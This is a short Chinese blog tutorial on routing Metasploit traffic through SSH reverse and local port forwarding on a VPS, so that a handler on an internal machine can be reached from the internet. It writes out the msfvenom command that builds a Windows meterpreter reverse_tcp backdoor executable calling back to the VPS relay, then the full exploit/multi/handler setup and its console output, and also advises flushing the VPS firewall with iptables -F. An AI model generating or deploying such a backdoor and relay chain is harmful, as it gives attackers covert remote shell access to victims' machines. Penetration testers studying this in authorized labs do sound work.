SSH反向代理转发至内网msf
前言
买了个便宜的 vps , 在上面装 msf 也装不上,于是想着把端口映射到内网来。
正文
拓扑如下:

首先在内网主机 B
ssh -fCNR 7281:localhost:5000 root@C_IP
执行完后会把 B:5000 反弹到 C_IP:7281.此时 C 监听 127.0.0.1:7281
然后然后在 公网中转服务器 C
ssh -fCNL *:5586:localhost:7281 localhost
将*:5586--->localhost:7281
此时 C监听 0.0.0.0:5586, 并将0.0.0.0:5586的数据转发至 localhost:7281
连接 C_IP:5586 就是连接 B_IP:5000
然后使用 msf 生成后门,反弹到 C_IP:5586
msfvenom -p windows/meterpreter/reverse_tcp LHOST=C_IP LPORT=5586 -f exe > /data/test.exe
然后在内网主机 B 设置好 handler
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
^[[A^[[Apayload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lport 5000
lport => 5000
msf exploit(handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf exploit(handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 0.0.0.0 yes The listen address
LPORT 5000 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf exploit(handler) > exploit
[*] Started reverse TCP handler on 0.0.0.0:5000
运行,数据流如下
A --> C_IP:5586 ---> C_IP:7281 ---> B_IP:5000
vultr默认开启了 iptables 先 iptables -F 清理才能访问端口。
补充
在 windows 下还是用 xshell 方便些,这里记录下用 xshell 的操作方式。

首先把本地 A 的 389 端口 映射到 vps 主机 B 的 localhost:6666 端口, 此时在 B 内部访问 localhost:6666 端口 即可访问到 A 的 389 端口.
然后需要在 B 上,做一个本地端口转发,让其他的主机可以通过 B 访问 A 的 389 端口.
ssh -fCNL *:389:localhost:6666 localhost
此时 B 会监听 389 端口, 把 389 端口的数据转发到 localhost:6666 端口
此时 其他主机可以通过访问 B 的 389 端口 来访问 A 的 389 端口.

浙公网安备 33010602011771号